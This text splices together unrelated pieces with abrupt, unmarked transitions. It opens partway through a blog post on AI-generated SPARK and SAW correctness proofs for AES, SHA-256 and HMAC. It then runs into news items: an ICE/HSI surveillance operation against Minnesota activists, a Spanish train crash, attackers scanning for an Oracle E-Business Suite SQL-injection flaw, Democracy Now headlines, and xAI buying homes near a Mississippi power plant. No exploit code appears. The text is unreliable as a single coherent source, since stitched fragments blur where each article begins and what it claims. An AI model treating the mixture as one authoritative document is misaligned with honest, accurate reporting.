Rust wins out very narrowly on decryption, however. The reason is a failure on the part of the compiler to inline the call to Inv_Mix_Byte , which forces that work to be repeated in SPARK while it is shared in Rust. We can fix this by asking the compiler to inline this function with pragma Inline_Always (Inv_Mix_Byte) . With this change, AES-128 decrypt falls to 420 ns and AES-256 decrypt falls to 600 ns; both outperform the Rust by a significant margin ⁵ .

This result is not surprising; we know that SPARK is fast (as is Ada). But we highlight here because there is an unfortunate, prevailing assumption that Ada (hence SPARK) is not fast. Showing the SPARK code outperforming the Rust code (significantly, for Expand_Key ) reinforces what we already knew: SPARK is fast, in addition to being safe and secure.

Proof Performance

Proof performance breaks into two relevant parts: obtaining the proofs and checking the proofs. We present them in the opposite order here, as the check step is most likely to be repeated.

Checking the Proofs

Time spent checking the proofs, measured on an x86_64 Linux machine, Intel Xeon 6975P-C, 8 vCPUs (4 cores × 2 threads), 15 GB RAM:

check	result	wall-clock	CPU	peak RSS	cores
gnatprove, the CI gate ( `check-proof.sh` )	4085/4085 checks	14:02	37 min	485 MB	8
gnatprove, SBox_Entries ( `prove-slow.sh` )	2565/2565 checks	15:20	25 min	376 MB	8
FFI ( `check-ffi.sh` )	141 properties pass: 36 exhaustive, 105 random	8:47	9 min	389 MB	1
SAW, default ( `check-saw.sh` )	1895 proved (87 implementation, 1808 spec layer); 20/20 negative controls fail	47:16	48 min	2.3 GB	1
SAW, long ( `SAW_LONG=1` )	2142 proved (87, 2055); 20/20 negatives fail	1:46:49	108 min	6.4 GB	1

Obtaining the Proofs

Time spent obtaining the proofs, specs, implementations, and the FFI tests for all three algorithms is shown in the table below; all numbers in hours ⁶ :

layer	total	waiting on tools	agent	its checker ran
Writing the SPARK specs based on the Cryptol	1.32	0.42	0.90	SPARK 0.10
Proving properties from the Cryptol on the SPARK spec (e.g., `SBoxCorrect` )	3.08	2.80	0.28	SPARK 1.09
Writing the SPARK implementation and obtaining the SPARK Platinum proofs	3.87	2.53	1.34	SPARK 1.16
Writing the FFI tests	4.63	3.71	0.92	FFI 1.70
Writing the SAW implementation proofs	4.18	3.25	0.94	SAW - ⁷
Writing the SAW specification proofs	14.22	12.08	2.14	SAW 11.25
Revising and re-proving the SPARK specs after review ⁸	12.26	10.60 ⁹	1.66	SPARK 6.78
Revising and re-proving the SAW after the SPARK spec changes	8.19	7.54	0.65	SAW 6.80
Totals	51.75	42.92	8.83

The takeaway from these numbers is that, overall, frontier AI is good at writing specifications and implementations that prove, whether working with SPARK or with SAW. The proof burden, specifically, is not that high – especially considering that this is Platinum proof (full functional correctness).

Reproducing These Results

The repository contains detailed instructions for reproducing our results; you’ll find them here .

Briefly, the SPARK proofs can be checked using the GNAT FSF 16 tools that are provided via Alire. To check the proof, simply run: scripts/check-proof.sh ; to run the Cryptol FFI tests, install Cryptol 3.6 and run scripts/check-ffi.sh . These proofs and tests are run in CI on the GitHub repository.

The SAW proofs require GNAT Pro 27 with the LLVM back-end. Once you’ve installed SAW and GNAT Pro, you can check the proof by running scripts/check-saw.sh . These proofs are not run on CI on the GitHub repository, as we do not have an installation of GNAT Pro 27 in that environment.

Conclusion

First, these are well-studied algorithms with published proofs. We can absolutely assume that the frontier models have seen this work as part of their training. However, the specification in SPARK, and hence the SPARK proofs, were new work, not recall. The AI completed the proof of over 6,500 checks, entirely on its own. The SAW proofs were new work, too; to our knowledge, prior work has not integrated Cryptol and SPARK in SAW using GNAT Pro LLVM. We expect these results to transfer to new code.

For greenfield development, when we have a formal specification, we expect that frontier AI is able to transform that specification into SPARK (as needed), implement the software, and prove full functional correctness (SPARK Platinum), automatically. This is the highest level of confidence in functional correctness possible.

For brownfield development, especially when we want to translate existing, proven-in-use software to SPARK for proof and ease of maintenance, we have evidence that we can use SAW to show that the SPARK translation is functionally equivalent to the original, regardless of its implementation language and provided SAW can import it (through LLVM or another path). Again, this is the highest level of confidence that we have correctly translated the software possible, far better than we might obtain via testing.

Second, this work demonstrates that SPARK is a high-performance language, in addition to offering the strongest assurance possible. Help us get the message out or help us build more examples in SPARK! We want to see more SPARK in more places; SPARK is ready today for the most demanding safety or security applications, from embedded to enterprise.

Disclaimers

First, don’t use this code when security actually matters. The formal proofs tell us that each algorithm is implemented correctly: AES correctly encrypts and decrypts; SHA-256 correctly hashes; HMAC correctly performs message authentication. But there’s (much) more to security than functional correctness, especially for foundational algorithms like cryptography: in particular, we have to be concerned about side-channel attacks, which may leak key or plain-text bits to an attacker. Side-channel attacks represent non-functional properties, which this work does not address at all ¹⁰ . We encourage you to experiment with the code and to look at the results as evidence that AI is able to provide formal evidence of software correctness; we do not want you to trust the code when security or privacy matters.

If you’re looking for proven cryptography (which we encourage!) look at Amazon’s work here . Rod Chapman, who’s authored several blogs on the AdaCore Blog, is heavily involved in this work.

¹ _{Typically, when a formal specification has been refined into a SPARK specification like we did here, we argue against re-proving putative properties of the original specification on the SPARK specification. When a proof of equivalence exists between the two specs, such re-proof is unnecessary effort: we know that any true property of the original specification is entailed by the SPARK specification as a result of the equivalence. Here, however, we retain these proofs in part because we cannot repeat the proof of equivalence in CI; for the time being, only GNAT Pro LLVM customers are in a position to repeat the equivalence proofs.}

² _{That we achieve 100% MC/DC and yet know that our testing is insufficient should encourage us to trust structural coverage metrics only up to a point.}

³ _{SAW does not allow us to prove equivalence for all message lengths or for all (key, text) pairs; it does prove equivalence for all possible instances, having selected a message, key or text length.}

⁴ _{The runtime checks make key expansion run slightly faster: the code generator / optimizer takes advantage of the checks and generates slightly more efficient code, albeit with over 50% more instructions.}

⁵ _{We presented the initial results showing SPARK losing to Rust on decrypt because that’s what happened out of the box; this seems the most fair comparison!}

⁶ _{These results come from a mix of an aarch64-linux container on an Apple M5 Pro (M5 is not a typo) and the x86_64-linux machine used above, so take the ratios between columns with a grain of salt.}

⁷ _{We’re missing data for this entry; it’s somewhere between 0.67 and the 3.25 hours reported in the adjacent column.}

⁸ _{While the changes to the specs were indeed conceptually minor, they were fairly disruptive to the way in which the specs were laid out (the introduction of a generic for AES key sizes, notably), hence the amount of time spent here.}

⁹ _{This value is so high in part because there were multiple revisions that triggered re-proof of the} _SBoxCorrect _{property, which is very expensive (about 20 minutes per run, accounting for about 3.5 h hours of proof time). A smarter approach would have been to hold off on any such long proofs until the rest of the work was done, but the agent didn’t do this.}

¹⁰ _{There is initial work on constant-time implementations on a branch, but it has not been reviewed and is not backed by proof.}

FAQs

SPARK is a programming language and formal verification toolset for building software that can be mathematically proven correct. It is based on Ada and adds the ability to write precise specifications, such as preconditions and postconditions, directly into the code. The GNATprove tool then uses automated provers to check that the code meets those specifications. Rather than relying only on testing, which can show the presence of bugs but not their absence, SPARK lets developers prove properties for all possible inputs. Assurance comes in levels: Silver proves the absence of runtime errors such as overflows or out-of-bounds accesses, Gold proves key integrity properties, and Platinum, the level reached in this project, proves full functional correctness against a complete specification.

SPARK is used for safety-critical and security-critical software, where failures are costly or dangerous and strong evidence of correctness is required. Typical areas include aerospace and defense, automotive, rail, industrial control, and cybersecurity, including components such as cryptographic libraries, communication protocols, and operating system code. Because SPARK can provide formal evidence that complements testing, it can support certification and assurance activities under standards such as DO-178C and ISO 26262. SPARK can be adopted incrementally, so teams can apply proof to their most critical components first, and it suits everything from small embedded systems to larger enterprise applications.

We don’t rely on trusting the AI. Correctness is backed by independent evidence from four sources. The SPARK specifications are proven functionally equivalent to the NSA’s Cryptol specifications for selected message, key, and text lengths. The SPARK implementations are proven to satisfy their specifications at SPARK Platinum level (full functional correctness). The implementations are separately proven equivalent to the Cryptol using Galois’s SAW. And the code is tested against the Cryptol specifications, reaching 100% MC/DC coverage. A few limits are worth stating: the SAW proofs cover every input for AES, but only selected message sizes for SHA-256 and selected key and text lengths for HMAC. Testing on its own also missed some injected faults, which is why proof, not testing, is the main basis for confidence.

ICE Is Running One of the Largest Anti-Left Surveillance Ops in US History

Original Article

Attorneys for 15 Minnesota residents facing federal conspiracy charges have obtained evidence of a sweeping, possibly unconstitutional spying operation carried out by Immigration and Customs Enforcement against left-wing social movements in Minnesota and beyond.

The high-profile Minnesota 15 prosecution makes clear that the Department of Homeland Security (DHS), flush with federal funds and newly hired personnel, is now President Donald Trump’s primary tool against dissent, with a powerful array of post-9/11 investigative authorities brought to bear against everyday Americans organizing their communities.

Nothing of this scale has been seen in the United States, experts say, since the federal government’s counterinsurgency against the New Left and the anti-war movement in the 1960s and 1970s.

Among the records revealed during the discovery process in these cases are dozens of reports, audio transcripts, emails, intercepted Signal chats, photographs, database queries, and more. They reveal the inner workings of the domestic terrorism investigations, running under the names Project Whipple Shield and Operation Puppet Master, authorized by the controversial National Security Presidential Memorandum 7 .

Published following Charlie Kirk’s assassination in September of last year, NSPM 7 instructs federal law enforcement to use every tool available against organizations and people who criticize the administration's policies and espouse "anti-Christian" ideas. The full scope and extent of the investigations it authorizes remains unknown.

Defense attorneys for the Minnesota 15 claim that the prosecution stems from a broader nationwide surveillance operation aimed at opponents of the Trump administration’s immigration policies. One attorney in the case directly compares the DHS-run campaign to the FBI’s infamous Counterintelligence Program, or COINTELPRO, which unconstitutionally surveilled, infiltrated, and blackmailed racial justice, civil rights, and anti-war movements from the 1950s through the early 1970s.

Three former law enforcement officials who reviewed filings concur, telling WIRED that the case is almost certainly part of a wider intelligence-gathering operation that began long before the administration invaded Minnesota in December 2025.

Dueling motions in the case over discovery of DHS’s surveillance program reveal that personnel with Homeland Security Investigations—one of ICE’s two components—repurposed funding mechanisms and investigative tools for serious criminal probes and turned them on domestic dissenters. Operation Keyhole, the HSI undercover program that bankrolled the Minnesota 15 prosecution, dates back to 2008. As of June 2026, it was underwriting a half dozen active undercover investigations in the Minneapolis–Saint Paul area.

Around 120 HSI agents, many drawn from specialized units across the country that have served as the leading edge of the administration’s militarized immigration enforcement operations, were assigned to the case—including 11 undercovers. They used highly invasive surveillance techniques, including the deployment of Reaper drones and Patriot Act tools usually restricted to money laundering and terrorism investigations. Undercover operatives also infiltrated churches in apparent violation of a court order.

The Minnesota 15 indictment stems from the Trump administration’s demand that the Justice Department “go big and go loud” to crack down on community response networks during last winter’s Operation Metro Surge. Twin Cities activists organized volunteers to monitor DHS agents and their vehicles using encrypted Signal groups, homebuilt vehicle databases, and a centralized dispatch system. Government prosecutors claim that this amounts to a criminal conspiracy to block immigration enforcement, unlawfully identify and stalk federal agents, and even assault them.

Their defense attorneys say the heavy charges filed against the Minnesota 15 don’t align with their alleged conduct. “This is the first time I’ve had a client who’s accused of a conspiracy and went on a speaking tour,” says Kevin Riach, who represents defendant Isaac Sant.

Peeking Through the Keyhole

An internal ICE document laying out the scope of Operation Puppet Master—which led to the indictment of the Minneapolis 15—ends by noting, “This case has also been accepted under CUC Op Keyhole.” According to prosecutors , Operation Keyhole is a long-standing program created by HSI’s Saint Paul office to fund “undercover activity”—primarily equipment purchases and personnel costs—in a region covering Minnesota, North and South Dakota, Iowa, and Nebraska. The program has funded at least 77 investigations into “narcotics trafficking, child sexual abuse, financial investigations, and counter-proliferation” since it started in December 2008.

The CUC prefix, per an internal 2008 DHS handbook unearthed by the independent media outlet Unicorn Riot , refers to Certified Undercover Operations, a formal designation with clearly defined oversight mechanisms, procedures, and reporting requirements. Operation Keyhole’s parameters are reviewed every six months by a committee comprising senior DOJ and DHS officials. As of June 2026, when it was last renewed, Keyhole funded six active investigations, including Project Whipple Shield, which was initiated in February to probe claims of assault, stalking, and doxing of DHS agents and other federal employees, and underpins the Minnesota 15 indictment.

At least 11 undercover agents working under Operation Keyhole infiltrated Twin Cities anti-ICE activists, participating in martial arts and know-your-rights trainings, marches, general strikes, and community meetings. They also infiltrated activists’ communications network for identifying possible undercover ICE vehicles and dispatching activists to tail them through the Twin Cities, and penetrated several activist group chats on Signal, transmitting their contents back to other HSI colleagues for analysis and eventual inclusion in the indictment.

Activist conferences as far away as Seattle, Michigan, Chicago , and New York City were placed under surveillance as part of the investigation, and HSI teams photographed and ran the license plates of every car parked in the lot of a meeting location or seen transporting activists. There is also drone footage from unarmed Customs and Border Protection Reaper drones of the activists moving around the Twin Cities area.

The undercovers were part of a much broader group of more than 50 HSI agents, including at least two dozen from HSI’s little-known Special Operations Group, that took part in the investigation and surveillance of the defendants, both digital and in-person. Feds with decades of experience on complex financial crimes, drug cartel investigations, human trafficking, and organized crime were pulled into the Minnesota 15 investigation.

Several of the Minnesota 15 case agents are from out of state and appear in court records for the prosecutions of anti-ICE activists in other cities. This includes Los Angeles–based HSI agents Robert Kurtz III , who specializes in financial fraud, and Ryan Ribner, who allegedly assaulted SEIU California president David Huerta at a June 2025 protest of an ICE enforcement operation, arrested him, and then claimed the then 58-year-old Huerta attacked federal law enforcement. (Huerta’s charges were dropped in July after videos contradicting Ribner’s account surfaced.) HSI records show Ribner was also involved in at least two prosecutions of Southern California residents who physically confronted ICE and Border Patrol agents last year.

Other agents from the conspiracy investigation have also been involved in recent high-profile incidents. Tim Gerber, the “team leader” of an HSI Special Operations Group squad, led the investigation of former CNN host Don Lemon for reporting on a protest at a Minneapolis Church where an ICE agent was a pastor. Fellow SOG agent Yue Her was present at the scene of a 2025 incident when Renee Good’s killer, ICE Special Response Team agent Johnathan Ross, was dragged by the car of a man he tried to apprehend.

“This operation does not seem in any way limited to Minnesota,” says Spencer Reynolds, a former DHS attorney and counterterrorism lawyer who now works at the NAACP Legal Defense Fund. “As we saw with the boots on the ground in the streets, with Greg Bovino leading CBP and Border Patrol special forces units on sweeping raids across the country, this is the intelligence and undercover investigative apparatus that is running in parallel to the door-kicking.”

Follow the Money

Mike German, a retired FBI agent who worked undercover domestic terrorism cases for years before becoming a sharp critic of post-9/11 federal law enforcement, likens the Minnesota 15 case to federal law enforcement’s long history of suppressing left-wing social movements, including the CIA’s Operation MH/Chaos , which surveilled the anti-war movement during the Vietnam War for evidence of foreign influence. One difference is the sheer scale—this time, it’s bigger.

According to a 2011 book by former CIA officer Frank Rafalko , the CIA secret investigation into suspected foreign influence on the New Left and anti-Vietnam War movement had 42 officers working the case at its peak. Court records show 119 HSI agents worked on the Minnesota 15 case alone.

“Broad monitoring of social media, communications, and financial transactions are used to link an ever increasing number of people as potential subjects of investigation and prosecution,” German says. “These are exactly the kind of intelligence activities J. Edgar Hoover adopted to suppress the Civil Rights and anti-war movements in the 1960s.”

The key difference today, German says, is the vast pool of data available to the feds.

HSI used highly invasive measures—including scrutiny of wire transfers, PayPal reimbursements, and other financial transactions; forensic digital analysis of website traffic; 15 terabytes worth of infiltrated Signal chats; and information from a commercial data broker—to identify individuals under investigation.

After a local activist uploaded a license-plate search tool on Fly.io, a developer-focused public cloud platform, to an infiltrated Signal chat, HSI agents reviewed website DNS queries and Stripe data along with data purchased from a commercial broker. This gave HSI access to SSH session logs, outbound connection records, the Fly.io account’s signup IP, and a Stripe card fingerprint on an account that had never completed a payment. Agents fused that with Minnesota DVS records and commercial data from the Thomson-Reuters CLEAR platform to produce a driver's license number, Social Security number summary, years of address history, phone numbers, property records, and jointly registered vehicles.

Documents concerning financial records requested through the Treasury Department’s 314(a) suspicious activity reporting program—created by the Patriot Act to enable speedy tracking of finances for terrorism and money-laundering investigations—show that the feds targeted records of 29 “subjects” during queries conducted on March 31, 2026. Emails viewed by WIRED between several HSI agents based in Los Angeles and Arizona show that batches of records were turned over pursuant to those inquiries, including some dealing with SEIU that a senior Minnesota HSI agent sent to a LA-based colleague to be filed “wherever these records are stored.”

HSI investigators used similar workarounds to warrants and grand jury subpoenas to obtain phone records for several journalists who covered Operation Metro Surge, as first reported by The Guardian. Court records show the feds used an administrative summons request reserved for violations of customs and taxation requirements, which does not fit the activity that made up the criminal charges filed by the Minnesota US attorney against former CNN anchor Don Lemon and others.

The Minnesota 15 case is the clearest example yet of DHS pursuing the Trump administration’s efforts to crack down on what have long been upheld as First Amendment–protected activities. But it’s unlikely alone.

Riach, the defense attorney, says the HSI reports show the agency is complicit in what he called “the new COINTELPRO.”

“What we saw during the immigration surges last year was that ICE is the administration’s paramilitary force, the projector of strength,” Riach says. “Here, we see that HSI are taking the FBI’s place as the investigative secret police—it’s the classic one-two punch of authoritarian regimes around the world.”

At least 10 people died when a high-speed train struck another near Toledo, Spain. Two carriages derailed, leaving rescuers searching through the wreckage as authorities warned the death toll could rise.

The crash occurred between Urda and Los Yébenes, in Toledo province , when a train travelling from Madrid towards Seville struck the rear of another that had stopped on the same track . Two carriages were knocked off the rails , one of them torn apart, with twisted metal and debris scattered down a gravel embankment. Aerial footage shows the damaged trains surrounded by firefighters, police and rescue teams in a flat, rural landscape. Castilla-La Mancha government spokeswoman Esther Padilla confirmed 10 deaths but warned that the toll was likely to rise .

The collision involved a RENFE train carrying 397 passengers and an IRYO service with 147 people on board. The cause remains unknown . Emergency workers concentrated on reaching victims in the two worst-damaged carriages, while injured passengers were taken to nearby hospitals. A military emergency unit was deployed , and rail services between Madrid, Ciudad Real and Andalusia were suspended .

Prime Minister Pedro Sánchez cancelled his engagements to focus on the disaster . It was Spain's second major rail tragedy of 2026 , following a January collision in southern Spain that killed 45 people . That earlier accident had already raised concerns about safety on the country's extensive high-speed rail network.

Hackers now scanning systems for recently-patched Oracle flaw

Attackers have begun probing the Internet for systems unpatched against a recently disclosed critical Oracle E-Business Suite (EBS) vulnerability.

Discovered in a core component of EBS's Application Object Library and tracked as CVE-2026-101767 , this flaw lets unauthenticated threat actors with HTTP network access take over vulnerable systems in low-complexity attacks.

Oracle released security updates to address the issue in its October 2026 Critical Security Patch Update on October 20 and urged customers to patch their systems immediately.

"In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches," it said. "Oracle therefore strongly recommends that customers remain on actively-supported versions and apply security patches without delay."

While Oracle has not yet tagged CVE-2026-101767 as exploited in the wild, threat intelligence company Defused said on Tuesday that it already spotted threat actors scanning the Internet for vulnerable systems.

"Our Oracle E-Business Suite decoys recorded exploratory exploits against CVE-2026-101767, an unauthenticated SQL injection in EBS's Thin Client Framework servlet that chains to remote code execution, this morning, Oct 27," Defused warned .

Internet threat watchdog Shadowserver now tracks over 670 Internet-exposed Oracle EBS instances , most of them with IP addresses from the United States. However, Shadowserver doesn't indicate how many are honeypots or have already been secured against the CVE-2026-101767 flaw.

Attackers often target Oracle vulnerabilities because they let them breach enterprise systems on the networks of many Fortune 100 corporations, government organizations, and healthcare networks around the world.

For instance, since early August 2025 , the Clop extortion gang has exploited another Oracle EBS flaw (CVE-2025-61882) in zero-day attacks targeting high-profile victims like Logitech , GlobalLogic , and the Washington Post , as well as US universities (including Harvard University , the University of Pennsylvania , Dartmouth College , and the University of Phoenix )

More recently, in June, Oracle released emergency mitigations for a critical PeopleSoft Suite zero-day (CVE-2026-35273) that the ShinyHunters extortion gang exploited between May 27 and June 9 .

By abusing this flaw, the threat actors gained unauthenticated remote code execution on victims' systems and stole data from many organizations worldwide, including Nottingham University , Nissan , and the National Association of Insurance Commissioners (NAIC) .

Since November 2021, CISA has added 46 Oracle security bugs to its list of actively exploited vulnerabilities, 13 of which have also been abused in ransomware attacks.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

We get analysis of the Israeli elections, the upcoming U.S. midterms, the pro-Palestine movement and more from Palestinian American scholar Rashid Khalidi and Pakistani British writer Tariq Ali. They are co-authors of the new book The Neck and the Sword: Palestine’s Unfinished Struggle . The book, an extended conversation between Khalidi and Ali over two years, offers an overview of Palestinian intellectual and political history, drawing its title from a famous phrase used by the renowned Palestinian writer Ghassan Kanafani to describe the futility of “peace talks” between occupier and occupied, saying it was akin to a “conversation between the sword and the neck.”

Kanafani was assassinated by Israel in 1972, “murdered simply because his words were too dangerous for Israel to tolerate,” says Khalidi.

Public opinion about Israel has grown increasingly negative in the United States and across much of the world in the wake of the genocide in Gaza, and it’s “not going to shift back,” says Khalidi. “People have seen something that cannot be unseen. They’ve seen genocide. They’ve seen slaughter. And Israel has no defense.”

“Even in countries with no history of a Palestine solidarity movement, suddenly the Palestine flag emerges,” says Ali. “Why? Because their governments are trying to stop dissent on this issue, so they are defying their governments.”

Political Gridlock in Israel After No Clear Winner Emerges from Tuesday’s National Election

Oct 28, 2026

In Israel, there’s no clear winner so far in Tuesday’s national election. The final tally could take days. It was Israel’s first election since the October 7, 2023, attack and the ensuing wars in Gaza, Lebanon and Iran. With over 70% of the vote counted, Israeli Prime Minister Benjamin Netanyahu’s Likud party leads with 27 seats, ahead of former military chief Gadi Eisenkot’s Yashar party at 22. Neither candidate is on track to form a governing majority of 61 seats in the Knesset. According to Haaretz, a possible pro-Netanyahu coalition currently has 54 seats, while a possible pro-Eisenkot bloc has 49 seats. Palestinian parties — the Joint List and Ra’am — have won 17 seats, their strongest showing ever. But both Netanyahu and Eisenkot have ruled out governing with Palestinian-led parties. Meanwhile, millions of Palestinians living under Israeli occupation in East Jerusalem, the West Bank and Gaza were ineligible to vote. This is Netanyahu speaking on Tuesday.

Prime Minister Benjamin Netanyahu : “We must form a right-wing, national, strong government. That is what must be done. We must not — must not — endanger Israel and establish a government that is backed by anti-Zionist Arab parties.”

Israeli Troops Violently Disperse Protest in Occupied West Bank

Oct 28, 2026

In the occupied West Bank, Israeli troops violently dispersed a protest in Hebron against Israel’s military operation to displace thousands of Palestinians in the region. This comes after the deaths of two Israeli soldiers shot by Palestinian gunmen last week. This is a displaced Palestinian who attended Tuesday’s protest.

Noura Nassar : “I don’t know how to get to my home. I had to take alternative routes to get to my doctor, because I had an appointment and I had to go. I am shocked that these are people who call for democracy. Where is the democracy in all of this? Their elections are today, but what about us? Aren’t we human beings? We want to go out. We want to visit the doctor. It’s shameful.”

Iranian Director Jafar Panahi Sentenced to Five Years and One Month in Prison

Oct 28, 2026

In Iran, the Oscar-nominated director Jafar Panahi has been sentenced in absentia by a Tehran court to five years and one month in prison. He was already facing a one-year sentence. The court also issued an order to confiscate Panahi’s assets, and put in place a two-year ban on using social media and a two-year travel ban. The charges are unclear. Panahi’s lawyer said that he learned of this latest sentence when he went to the prosecutor’s office after Panahi’s bank accounts were frozen. The prosecutor’s case file stated incorrectly that Panahi was living outside Iran, when in fact he returned in March. Panahi was on Democracy Now!, here in our studio in New York, back in January when we asked him about returning to Iran.

Jafar Panahi : “I will return to Iran in any possible way, under any circumstances, because it is there that I know I have to exist. It is there where I know I can make films and do what I like to do. Yes, I will return. I will definitely return.”

Lina Attalah, Editor of Independent Egyptian Outlet Mada Masr, Released from Police Custody

Oct 28, 2026

In Egypt, the editor of the independent outlet Mada Masr, Lina Attalah, was released from police detention Tuesday after several hours in custody. Attalah was also reportedly informed of a one-year prison sentence issued against her in absentia back in 2024, on charges of publishing false news and managing an unlicensed website — charges she previously did not know about. She faces a retrial in the 2024 case in two weeks.
This comes after an Egyptian court ordered the closure of Mada Masr, one of Egypt’s last independent news outlets, and fined Attalah over $50,000 after a sham hearing where her lawyers could not present evidence.

Ansar Allah Claim Attack on Saudi Arabia’s Largest Oil Refinery

Oct 28, 2026

In Saudi Arabia, Ansar Allah, known as the Houthis, say they have hit the kingdom’s largest oil refinery with a ballistic missile. It comes as fighting has escalated in Yemen between the Saudi-backed government and the Iran-aligned Houthis since the outbreak of the U.S. war on Iran. Meanwhile, Drop Site News is reporting that the United Arab Emirates is now backing Ansar Allah in its conflict against Saudi-backed forces inside Yemen. This follows recent news that Egypt’s Parliament authorized Egyptian President Abdel Fattah el-Sisi to help Saudi Arabia in its fight against Ansar Allah.

NYT : Trump Admin Considering Lifting U.S. Sanctions on Russian Government’s Investment Fund

Oct 28, 2026

The Trump administration is reportedly considering lifting U.S. sanctions on Russia’s government investment fund headed by Kremlin envoy Kirill Dmitriev. That’s according to The New York Times, which spoke to an unnamed U.S. official who said the Treasury Department is looking to remove restrictions on the fund as part of Trump’s major energy deal with Russian President Vladimir Putin to import millions of tons of Russian diesel. The Biden administration first imposed sanctions on the fund in 2022, just days after Moscow launched its full-scale invasion of Ukraine.

This comes as the U.N. special rapporteur on human rights in Russia warns the Kremlin is persecuting critics both at home and abroad. This is U.N. Special Rapporteur Mariana Katzarova.

Mariana Katzarova : “Russia is one of — Russia is in third place out of 10 states that are responsible for 70% of the physical attacks on critics abroad in the past decade. That’s quite a serious place that Russia is holding in the world as a perpetrator of transnational repression. And the machine that produces these enemies of the state is a strategy by the Russian government. And this is what I devoted my report on at the General Assembly.”

Flávio Bolsonaro has fled to the United States following his defeat in Brazil’s presidential election against Luiz Inácio Lula da Silva. Bolsonaro reportedly left Brazil after Brazilian police this week asked him to turn over his passport as he’s being investigated in a money laundering case. Flávio Bolsonaro is the son of former far-right Brazilian President Jair Bolsonaro, who is serving a 27-year sentence under house arrest for orchestrating a failed coup attempt after he lost the 2022 election to Lula. The State Department has confirmed it will issue Flávio Bolsonaro and his family U.S. visas. President Lula responded to the news.

President Luiz Inácio Lula da Silva : “This act of leaving Brazil is shameful. When I was asked to surrender my passport, I did so. He should have done the same. If the Federal Police suspected he was going to leave Brazil, he ought to have surrendered his. Regrettably, that is the Bolsonaro family for you. Brazil is their second homeland. Their first homeland is the United States.”

The Pentagon struck another boat in the eastern Pacific, killing at least five people on Tuesday. The U.S. military again claimed, without providing any evidence, that the vessel was transporting drugs. Since President Trump returned to office, there have been more than 70 boat strikes in the Caribbean and eastern Pacific, killing more than 240 people. Human rights advocates have condemned the attacks as illegal extrajudicial killings at sea.

Alex Pretti’s Parents Accuse Federal Gov’t of Protecting CBP Officers Who Fatally Shot Their Son

Oct 28, 2026

Alex Pretti’s parents have accused the federal government of protecting the Customs and Border Protection agents who fatally shot their son in January in Minneapolis, and said the Trump administration has stonewalled them from the investigation in the nine months since Pretti was killed. This is Alex Pretti’s father, Michael, who spoke alongside his wife, Susan, from Minneapolis on Tuesday.

Michael Pretti : “We believe in the rule of law and that people should be held accountable through that law. However, our experience with the Department of Justice has left us wondering how Alex will ever get justice. We hear the federal government is not sharing information. Then we hear that they are sharing information. Then, last week, we learned again that they said in court documents they are not sharing evidence. This is not normal. This is not justice. It is morally wrong.”

Pretti was a 37-year-old intensive care nurse who worked at the Minneapolis Veterans Affairs Health Care System. Click here to see our coverage of this case .

Roberto Jimenez Gutierrez Dies in ICE Custody

Oct 28, 2026

In California, another immigrant has been confirmed dead in ICE custody. Roberto Jimenez Gutierrez was found unresponsive while jailed at the for-profit Otay Mesa Detention Center in San Diego. The 43-year-old immigrant from Guatemala was being held in solitary confinement, awaiting deportation to Mexico despite not being a citizen of that country. This marks at least 61 deaths in ICE custody during Trump’s second term and comes just days after an immigrant from El Salvador died at an ICE processing center in Folkston, Georgia, last week.

AP: ICE Has Detained a Mentally Ill U.S. Citizen for Nearly a Year

Oct 28, 2026

In more related news, the Associated Press reports ICE has detained a mentally ill U.S. citizen for nearly one year. The Trump administration is seeking to deport Phillip James to Jamaica, even though public records show he was born in Florida. The 39-year-old is being detained at an ICE jail in Indiana dubbed “Speedway Slammer.” James suffers from paranoid schizophrenia and reportedly mistakenly told federal immigration officers he’d been born in Jamaica and was the illegitimate son of a former Jamaican prime minister. His mother and legal team are urging for his release.

SCOTUS Declines to Restore Biden-Era Rule Allowing Immigration Judges to Suspend Deportation Cases

Oct 28, 2026

The U.S. Supreme Court has declined to restore a Biden-era rule that allowed immigration judges to temporarily suspend some deportation cases, a practice known as “administrative closure.” In an unsigned order, the Supreme Court rejected a request from three U.S. cities that have large immigrant populations: Baltimore; Columbus, Ohio; and New Haven, Connecticut. Back in June, Texas filed a lawsuit petitioning the Trump administration to block the policy. Judges used the discretion to temporarily prevent the deportation of asylum seekers and others in need of relief and protection.

CDC Deputy Director Steps Down After Four Months on Job

Oct 28, 2026

Dr. Jennifer Shuford, the deputy director and chief medical officer of the Centers for Disease Control and Prevention, announced that she’s resigning after just four months on the job. Dr. Shuford was appointed by President Trump. During her tenure, Health Secretary Robert F. Kennedy Jr. fired all 17 of the CDC’s expert vaccine advisory panel members and replaced them with his appointees. The CDC also lost one-third of its workforce during a measles outbreak in the U.S.

‘Elonville’: Mississippi residents say Musk’s xAI is buying up homes if they don’t sue over noise

Original Article

People in a Mississippi neighborhood, many of whom dislike a nearby power plant central to Elon Musk ’s artificial intelligence ambitions, have received a stark offer – to sell their houses to his company and make way.

Real estate agents have been going door to door in Southaven, Mississippi, on behalf of xAI, Musk’s AI company that was folded into the SpaceX entity in February, touting a deal to purchase houses as long as the owners agree to not join a lawsuit against the company over the power plant’s noise.

This plan could potentially swallow up almost the entire neighborhood of Colonial Hills, on the western flank of Southaven. A realtor told one resident there is a target to purchase 418 homes, with 18 homeowners already agreeing to sell, according to a recording of a conversation heard by the Guardian. xAI did not respond to questions over these numbers and its plans for the neighborhood and has previously said it intends to be be a good neighbor; it denies all claims in the noise lawsuit.

A satellite map of the development progress in the town of Southaven, Mississippi. It shows three datacenters along the Tennessee and Mississippi border. South of that there are gas turbines highlighted. To the right of the turbines is the neighborhood of Colonial Hills with the sold properties called out.

The homes, the realtor and the local mayor say, will house xAI staff as the company continues its explosive expansion in the area, with three of its datacenters springing up in Southaven and adjoining Memphis, Tennessee, in just the past two years. This frantic pace, and the all-hours noise from gas turbines installed without permits to power the datacenters , has dismayed some locals.

“It sounds like an airplane engine but it’s continuous, it’s incredibly loud,” said Elizabeth Rose, a piano teacher, of the xAI site which sits about two miles from her home. “I’ve been woken up at 2am by it, I’ve been woken up at 3am by it. I sometimes have to just get away from it because it makes me so angry.”

Rose said she was shocked when the power plant, a former Duke Energy site housing 69 temporary gas turbines to feed the new datacenters, began its low-level growl in August last year. “All of a sudden there was a plant there,” she said. “And now I get the feeling they are trying to expand the buyout to the entire neighborhood. It will become Elon Musk’s little playground, basically. Elonville.”

The market value offers for these homes, in an area where the average house price is about $180,000, is a comparatively small outlay in creating the world’s largest cluster of AI supercomputers as envisioned by Musk, a technologist who is the world’s richest person and a major Republican donor.

